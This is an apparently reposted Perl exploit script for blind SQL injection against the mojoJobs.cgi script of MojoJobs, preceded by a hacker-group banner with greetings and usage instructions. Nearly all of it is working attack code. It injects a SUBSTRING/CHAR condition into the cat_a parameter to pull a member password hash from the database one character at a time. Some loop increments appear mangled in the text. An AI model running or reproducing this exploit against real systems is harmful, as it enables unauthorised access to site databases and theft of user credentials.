MojoJobs (mojoJobs.cgi mojo) Blind SQL Injection Exploit

也想出现在这里？点击联系我~

#!/usr/bin/perluse LWP::UserAgent;use Getopt::Long;if(!$ARGV[1]){ print " \\n"; print " #################### Viva IslaMe Viva IslaMe ################\\n"; print " # MojoJobs Blind SQL Injection Exploit #\\n"; print " # (mojoJobs.cgi mojo ) #\\n"; print " # Author: Mr.SQL #\\n"; print " # EMAIL : SQL@HOTMAIL.IT #\\n"; print " # #\\n"; print " # -((:: GrE3E3E3E3E3ETZ ::))- #\\n"; print " # #\\n"; print " # HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMaD AL 3rab #\\n"; print " # :: ALwHeD :: milw0rm :: #\\n"; print " # #\\n"; print " # <<>> MuSliMs HaCkErS <<>> #\\n"; print " # #\\n"; print " # HOME: WwW.PaL-HaCkEr.CoM #\\n"; print " # #\\n"; print " # Usage : perl test.pl host #\\n"; print " # Example: perl test.pl www.host.com / -d 10 #\\n"; print " # Options: #\\n"; print " # -d valid cat_a value #\\n"; print " #############################################################\\n"; exit;}my $host = $ARGV[0];my $cat_a = $ARGV[2];my %options = ();GetOptions(\\%options, "u=i", "p=s", "d=i");print "[~] Exploiting…\\n";if($options{"b"}){ $mojo = $options{"b"};}syswrite(STDOUT, "[~] MD5-Hash: ", 14);for(my $i = 1; $i <= 32; $i ){ my $f = 0; my $h = 48; while(!$f && $h <= 57) { if(istrue2($host, $cat_a, $i, $h)) { $f = 1; syswrite(STDOUT, chr($h), 1); } $h ; } if(!$f) { $h = 97; while(!$f && $h <= 122) { if(istrue2($host, $cat_a, $i, $h)) { $f = 1; syswrite(STDOUT, chr($h), 1); } $h ; } }}print "\\n[~] Exploiting done\\n";sub istrue2{ my $host = shift; my $cat_a = shift; my $i = shift; my $h = shift; my $ua = LWP::UserAgent->new; my $query = "http://".$host."mojoJobs.cgi?mojo=1&cat_a=".$cat_a." and (SUBSTRING((SELECT password FROM member LIMIT 0,1),".$i.",1))=CHAR(".$h.")"; if($options{"p"}) { $ua->proxy(\’http\’, "http://".$options{"p"}); } my $resp = $ua->get($query); my $content = $resp->content; my $regexp = "tourterms.pdf"; if($content =~ /$regexp/) { return 1; } else { return 0; }}